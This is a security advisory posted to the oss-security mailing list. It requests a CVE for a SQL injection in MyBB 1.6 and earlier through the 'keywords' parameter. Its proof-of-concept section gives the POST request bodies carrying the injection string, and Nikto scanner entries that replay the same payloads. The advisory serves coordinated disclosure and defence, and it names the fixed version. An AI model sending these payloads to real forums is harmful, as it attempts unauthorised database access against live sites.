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Date: Fri, 18 Mar 2011 14:17:16 +0800
From: YGN Ethical Hacker Group <lists@...g.net>
To: oss-security@...ts.openwall.com
Subject: CVE Request: MyBB 1.6 <= SQL Injection
1. OVERVIEW
Potential SQL Injection vulnerability was detected in MyBB.
2. APPLICATION DESCRIPTION
MyBB is a free bulletin board system software package developed by the
MyBB Group.
It's supposed to be developed from XMB and DevBB bulletin board applications.
3. VULNERABILITY DESCRIPTION
The "keywords" parameter was not properly sanitized in /private.php
and /search.php which leads to SQL Injection vulnerability. Full
exploitation possibility is probably mitigated by clean_keywords and
clean_keywords_ft functions in inc/functions_search.php.
4. VERSIONS AFFECTED
MyBB 1.6 and lower
5. PROOF-OF-CONCEPT/EXPLOIT
=> /search.php
POST /mybb/search.php
action=do_search&forums=2&keywords='+or+'a'+'a&postthread=1
=> /private.php
POST /mybb/private.php
my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff
Get nikto check
http://trac2.assembla.com/Nikto_2/browser/trunk/plugins/db_tests?rev=588
Or try nikto udb_tests
"400000","0","9","/search.php","POST","MyBB has experienced an
internal SQL error and cannot continue.","","","Sorry, but no results
were returned","","MyBB 1.6 <= SQL Injection, ref:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_sql_injection","action=do_search&forums=2&keywords='+or+'a'+'a&postthread=1",""
"400001","0","9","/private.php","POST","MyBB has experienced an
internal SQL error and cannot continue.","","","Sorry, but no results
were returned","","MyBBx 1.6 <= SQL Injection, ref:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_sql_injection","my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff",""
6. SOLUTION
Upgrade to 1.6.1
7. VENDOR
MyBB Development Team
http://www.mybb.com/
8. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2010-12-09: notified vendor
2010-12-15: vendor released fixed version
2010-12-24: vulnerability disclosed
10. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_sql_injection
About MyBB: http://www.mybb.com/about/mybb
#yehg [2010-12-24]
---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd
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